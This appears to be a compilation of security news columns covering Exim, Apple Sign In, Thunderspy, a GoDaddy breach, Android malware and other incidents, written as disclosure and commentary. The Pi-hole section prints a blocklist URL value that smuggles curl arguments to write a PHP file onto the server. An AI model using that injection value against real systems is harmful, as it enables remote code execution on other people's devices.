This Week In Security: Exim, Apple Sign-in, Cursed Wallpaper, And Nuclear Secrets

So first off, remember the Unc0ver vulnerability/jailbreak from last week? In the 13.5.1 iOS release, the underlying flaw was fixed, closing the jailbreak. If you intend to jailbreak your iOS device, make sure not to install this update. That said, the normal warning applies: Be very careful about running out-of-date software.

Apple Sign In

An exploit in Apple’s web authentication protocol was fixed in the past week . Sign In With Apple is similar to OAuth, and allows using an Apple account to sign in to other sites and services. Under the hood, a JSON Web Token (JWT) gets generated and passed around, in order to confirm the user’s identity. In theory, this scheme even allows authentication without disclosing the user’s email address.

So what could go wrong? Apparently a simple request for a JWT that’s signed with Apple’s public key will automatically be approved. Yeah, it was that bad. Any account linked to an Apple ID could be trivially compromised. It was fixed this past week, after being found and reported by [Bhavuk Jain].

The Cursed Wallpaper

So when someone posts an image on twitter, and warns everyone to *never* use it as your phone wallpaper, what’s the logical thing to do? Apparently it’s only appropriate to immediately set it as your phone’s wallpaper, and then complain that it renders your phone unusable. So what’s going on?

The image in question uses a special color-space that the Android UI isn’t equipped to handle. That particular picture has a color value over 255, which is out of bounds, causing a crash in the UI. Once the Android UI has crashed, it’s impossible to change the wallpaper, leading to a crash loop. A few users were able to switch out their wallpapers in the few moments between crashes, but the surest way to clean up the mess is to manually remove the image using something like TWRP.

Exim and CVE-2019-10149

This vulnerability is one that keeps on giving. We talked about CVE-2019-10149 just about a year ago. This week, the NSA published a warning (PDF) that certain state actors are actively exploiting this Exim bug.

For a quick refresher, the Exim mail server is the most popular mail server on the net. CVE-2019-10149 is a clever exploit that tricks a vulnerable server into trying to send an email to a specially crafted address, hosted at a malicious mail server. When the target machine tries to send a bounceback message, the malicious server sends a byte every four minutes, forcing the connection to stay open for a week. This strategy ensures that the vulnerable code is hit. When the message is finally sent, the payload embedded in the email address is evaluated and executed.

The NSA warning specifies the Russian GRU as the culprit, acting under the name Sandworm. There’s likely quite the story behind how the current attacks were discovered to be of Russian origin. As none of the indicators of compromise are directly tied to the GRU, we’ll just have to take the NSA’s word for it, but of course they’re not going to make public how they get their counter-intel either.

In further GRU news, the UK has officially attributed to them a series of attacks on the country of Georgia. These attacks shut down the Georgian power grid, encrypted hard drives (ransomware), and directly damaged financial systems. And just last month, the German government attributed hacks on their parliament to one particular GRU officer: Dmitriy Badin.

Attributing cyber attacks to a particular actor is always tricky, especially when savvy foreign intelligence agencies which don’t want to get caught are behind the work, but the fact that multiple government agencies are converging on the same conclusions is more persuasive. The German evidence, collected over five years and pointing to a particular agent, is particularly so.

Stolen Nuclear Missile Secrets?

Our final story comes from Sky News, who breaks the news that Westech International was hit with a ransomware attack. As you may have guessed, this section’s title is Betteridge’s Law in action, albeit ironically.

So what really happened, and why is the “nuclear secrets” angle almost certainly bunk? First off, Westech isn’t a huge engineering firm, and they haven’t worked on designing any nuclear weapons systems. Go to their website, and look at the contracts they have and services they offer. Telecommunications, maintenance, and logistics planning.

Secondly, we know that the ransomware attack hit the machines doing their payroll. Classified information is subject to a strict set of rules in the US. It’s only to be kept and used in a Sensitive Compartmented Information Facility (SCIF). Computers containing classified information are never to be connected to the unsecure network. There is even a dedicated Secret Internet Protocol Router Network (SIPRNet) that is only for secure communications and only accessible from a SCIF. All this to say, if a ransomware attack can ex-filtrate data back to an attacker, then somebody royally messed up in a way that often leads to jail time. It’s a long way from payroll to nuclear secrets.

Rooting Your AT&T Gateway

[Andrew Dupuis] had an Arris Fiber Gateway provided by AT&T, and like many a hacker, he wasn’t satisfied. Before we dive all the way into the rabbit-hole, we should point out that AT&T is charging $10 a month for this device, and refuses to let their customers use their own hardware instead. [Andrew] believes that this probably violates FCC rules. In any case, he wanted to run his own gateway instead of being locked into AT&T’s. The fiber connection uses 802.1x security on the physical connection, which also serves to lock customers into the official hardware. If a user could extract the 802.1x certificates, they could replace the official AT&T gateway with their own hardware, which is the point of the writeup.

The exploit itself starts with a firmware downgrade, back to a version that still contains the vulnerability. The vulnerability? A REST server intended for troubleshooting and debugging. A bit of work later, and the hardware is rooted, with a telnet server just waiting for you. It shouldn’t be very surprising, the OS under the hood is a standard embedded Linux. The first order of business is to disable the auto-update function, to avoid getting locked back out of the device.

[Andrew] explains how to properly secure the gateway, and re-tune it for better performance, good ideas if you intend to continue using it in your network. The real goal here is extracting the certificates. I’m not sure how much of a surprise it should be, but it seems that every device uses the same security certificates, and [Andrew] was kind enough to share the copy he extracted.

[Andrew] sent this in on the Hackaday Tipline. If you have research to share, or came across something you think we should cover, be sure to let us know about it!

This Week In Security: Leaking Partial Bits, Apple News, And Overzealous Contact Tracing

Researchers at the NCCGroup have been working on a 5-part explanation of a Windows kernel vulnerability, targeting the Kernel Transaction Manager (KTM). The vulnerability, CVE-2018-8611, is a local privilege escalation bug. There doesn’t seem to be a way to exploit this remotely, but it is an interesting bug, and NCCGroup’s work on it is outstanding.

They start with a bit of background on what the KTM is, and why one might want to use it. Next is a handy guide to reverse engineering Microsoft patches. From there, they describe the race condition and how to actually exploit it. They cover a wide swath in the series, so go check it out.

Left4Dead 2

Just a reminder that bugs show up where you least expect them, [Hunter Stanton] shares his story of finding a code execution bug in the popular Valve game, Left4Dead 2. Since the game’s code isn’t available to look at, he decided to go the route of fuzzing. The specific approach he took was to fuzz the navigation mesh data, part of the data contained in each game map. Letting the Basic Fuzzing Framework (BFF) run for three days turned up a few possible crashes, and the most promising turned out to have code execution potential. [Hunter] submitted the find through Valve’s HackerOne bug bounty program, and landed a cool $10k bounty for his trouble.

While it isn’t directly an RCE, [Hunter] does point out that malicious mesh data could be distributed with downloadable maps on the Steam workshop. Alternatively, it should be possible to set up a fake game server that distributes the trapped map. Continue reading “This Week In Security: Leaking Partial Bits, Apple News, And Overzealous Contact Tracing”

This Week In Security: DNS DDOS, Revenge Of The 15 Year Old Bug, And More

Another DDOS amplification technique has just recently been disclosed, NXNSAttack (technical paper here) that could be used against DNS servers.

We’ve covered amplification attacks before. The short explanation is that some UDP services, like DNS, can be abused to get more mileage out of a DDoS attack. The attacking machined send messages like this: “Hello Google DNS, This is the Hackaday server. Can you send me a really big DNS response packet?” If the DNS response is bigger than the request, then the overall attack is bigger as a result. The measure of effectiveness is the amplification factor. For every byte of DDoS sent by attacking machines, how much many bytes are actually sent to the victim machine? Mirai, for example, had an amplification factor of something around 2.6.

NXNSAttack has a theoretical per-byte amplification factor of 163. That’s not a missed decimal point, this has the potential to be quite the nasty problem. Continue reading “This Week In Security: DNS DDOS, Revenge Of The 15 Year Old Bug, And More”

This Week In Security: Thunderspy, Facebook Breaking Everything, And More

Thunderspy was announced this week, developed by [Björn Ruytenberg]. A series of attacks on the Thunderbolt 3 protocol, Thunderspy is the next vulnerability in the style of Inception, PCILeech, and Thunderclap.

Inception and PCILeech were attacks on the naive Direct Memory Access (DMA) built into Firewire, Thunderbolt 1, and PCIe. A device could connect and request DMA over the link. Once granted, it could access the bottom four gigabytes of system memory, with both read and write access. It’s not hard to imagine how that would be a huge security problem, and it seems that this technique was in use by intelligence agencies at the time it was discovered. As an aside, the hardware DMA was entirely independent of software, so it was possible to debug a crashed kernel over firewire.

Once the vulnerability was made public, hardware and software vendors have taken steps to harden their systems against the attack. Thunderbolt 2 introduced security levels as a mitigation against the attacks. A user has to mark a device as trusted before DMA is offered to that device. Thunderclap exploited a series of vulnerabilities in how individual OSes interacted with those hardware mitigations.

Image by Björn Ruytenberg. Licensed under CC BY 4.0.

Now, Thunderspy abuses a series of problems in Intel’s Thunderbolt 3 specification and implementation. One interesting attack is cloning an already trusted Thunderbolt device. Plugging a Thunderbolt device into a Linux machine easily captures the device UUID. A malicious Thunderbolt device can be given that same UUID, and suddenly has the same level of trust as the cloned device.

[Björn] took the attack a step further, and discovered that he could disassemble a laptop or thunderbolt device, and read the firmware directly off the thunderbolt controller. That firmware can be modified and re-uploaded. One of the simplest attacks that enables is turning the security level to its lowest setting.

It’s interesting research, and there are fixes coming or already in place to mitigate the problems found. The real question is how much Thunderspy matters. The threat model is the evil maid: A laptop left in a motel room would be available to the cleaning staff for a few minutes. Thunderspy could potentially be used for this style of attack, but there are many other potentially better attack options. There is a narrow circumstance where Thunderspy is the perfect technique: A device with an encrypted drive, that’s been powered on and logged into, but locked. In this case, Thunderspy could be used to recover the drive encryption key stored in memory, and then used to plant malware.

That Time When Facebook Broke Everything

You may have noticed some widespread iOS application misbehavior on the 6th. Facebook introduced a change to the server component to their sign-on SDK, which caused many apps that made use of that SDK to crash. It’s worth asking if it’s a good idea for so many popular apps to use Facebook code. There doesn’t appear to have been a vulnerability or path to compromise other than the denial of service.

Large-scale WordPress attack

Nearly a million WordPress sites are under attack, in a campaign targeting a variety of vulnerabilities. The general attack strategy is to inject a malicious javscript that lays dormant until it’s executed by a site administrator. Ironically, logging in to your site to check it for compromise could be the trigger that leads to compromise. As always, keep your plugins up to date and follow the rest of the best practices.

Godaddy Breaches

Godaddy users were recently informed that there was a breach that exposed portions of their accounts to compromise. Notably, the compromise happened back in October of 2019, and wasn’t discovered for 6 months. Godaddy has stated that there wasn’t any evidence of any malicious action beyond the initial compromise, which is puzzling in itself.

On April 23, 2020, we identified SSH usernames and passwords had been compromised through an altered SSH file in our hosting environment. This affected approximately 28,000 customers. We immediately reset these usernames and passwords, removed the offending SSH file from our platform, and have no indication the threat actor used our customers’ credentials or modified any customer hosting accounts. To be clear, the threat actor did not have access to customers’ main GoDaddy accounts.

Pi-hole Exploit

A fun RCE exploit was discovered in the Pi-hole software. This particular problem requires authenticated access to the Pi-hole administrative web interface, so it’s not likely to cause too many problems on its own. Exploiting the flaw is simple, just set http://192.168.122.1#" -o fun.php -d " as the remote blocklist, with an IP that you control. Under the hood, the remote blocklist is fetched via curl, and the URL isn’t properly sanitized. Your PHP code is saved in the web directory, and an HTTP request triggers that code.

Leaking on Github

[Tillson Galloway] tells the story of how he made $10,000 in bug bounties, simply by searching Github for passwords and keys that shouldn’t be there. By searching for specific keywords, he found all sorts of interesting, unintentional things. vim_settings.xml contains recently copied and pasted strings, and .bash_history contains a record of commands that have been run. How many times have you accidentally typed a password in on the command line, thinking you were authenticating with SSH or sudo, just for an example? It’s an easy mistake to make, to accidentally include one of these hidden files in a public repository.

There have been examples of API keys accidentally included in source code drops, and even SSL certificates leaked this way over the years. It’s a lesson to all of us, make sure to sanitize projects before pushing code to Github.

This Week In Security: Psychic Paper, Spilled Salt, And Malicious Captchas

Apple recently patched a security problem, and fixed the Psychic Paper 0-day. This was a frankly slightly embarrasing flaw that [Siguza] discovered in how iOS processed XML data in an application’s code signature that allowed him access to any entitlement on the iOS system, including running outside a sandbox.

Entitlements on iOS are a set of permissions that an application can request. These entitlements range from the aforementioned com.apple.private.security.no-container to platform-application, which tells the system that this is an official Apple application. As one would expect, Apple controls entitlements with a firm grip, and only allows certain entitlements on apps hosted on their official store. Even developer-signed apps are extremely limited, with only two entitlements allowed.

This system works via an XML list document that is part of the signed application. XML is a relative of HTML, but with a stricter set of rules. What [Siguza] discovered is that iOS contains 4 different XML parsers, and they deal with malformed XML slightly differently. The kicker is that one of those parsers does the security check, while a different parser is used for that actual permission implementation. Is it possible that this mismatch could contain a vulnerability? Of course there is.
Continue reading “This Week In Security: Psychic Paper, Spilled Salt, And Malicious Captchas”

This Week In Security: Firewall 0-day, Apple’s Response, And An Android Bluetooth Bug

Sophos firewall appliances are actively being attacked by a 0-day exploit chain that originates with a SQL injection. That injection is a nasty one, as it can be launched from the WAN user portal. The observed attack used that vulnerability to inject a shell command into the device database, where it would eventually be run automatically. If you have an affected Sophos device, go check that the hotfix was automatically installed.

While the vulnerability was a bad one, Sophos’ response here is laudable. They publicly disclosed the attack less than 24 hours after they were notified of it’s existence in the wild, and began rolling a fix out within three days. Additionally, Sophos engineers did a really detailed write-up (linked above) giving us all the details of the attack. The hotfix that closes the vulnerability also attempts to clean up the infection, although there are some additional manual steps that are suggested if your device was compromised. Continue reading “This Week In Security: Firewall 0-day, Apple’s Response, And An Android Bluetooth Bug”

This Week In Security: Nintendo Accounts, Pernicious Android Malware, And An IOS 0-day

A rash of Nintendo account compromises has made the news over the last week. Nintendo’s official response was that they were investigating, and recommended everyone enabled two factor authentication on their accounts.

[Dan Goodin] over at Ars Technica has a canny guess: The compromised accounts were each linked to an old Nintendo Network ID (NNID). This is essentially a legacy Nintendo account — one made in the Wii U and 3DS era. Since they’re linked, access via the NNID exposes the entire account. Resetting the primary account password doesn’t change the NNID credentials, but turning on two factor authentication does seem to close the loophole. There hasn’t yet been official confirmation that NNIDs are responsible, but it seems to fit the situation. It’s an interesting problem, where a legacy account can lead to further compromise.

Just Can’t Lose You: xHelper

xHelper, an Android malware, just won’t say goodbye. xHelper looks like a cleaner application, but once installed it begins rather stubbornly installing itself via the Triada trojan. The process begins with rooting the phone, and then remounting /system as writable. Binaries are installed and startup scripts are tampered with, and then the mount command itself is compromised, preventing a user from following the same steps to remove the malware. Additionally, if the device has previously been rooted, the superuser binary is removed. This combination of techniques means that the infection will survive a factory reset. The only way to remove xHelper is to flash a clean Android image, fully wiping /system in the process. Continue reading “This Week In Security: Nintendo Accounts, Pernicious Android Malware, And An IOS 0-day”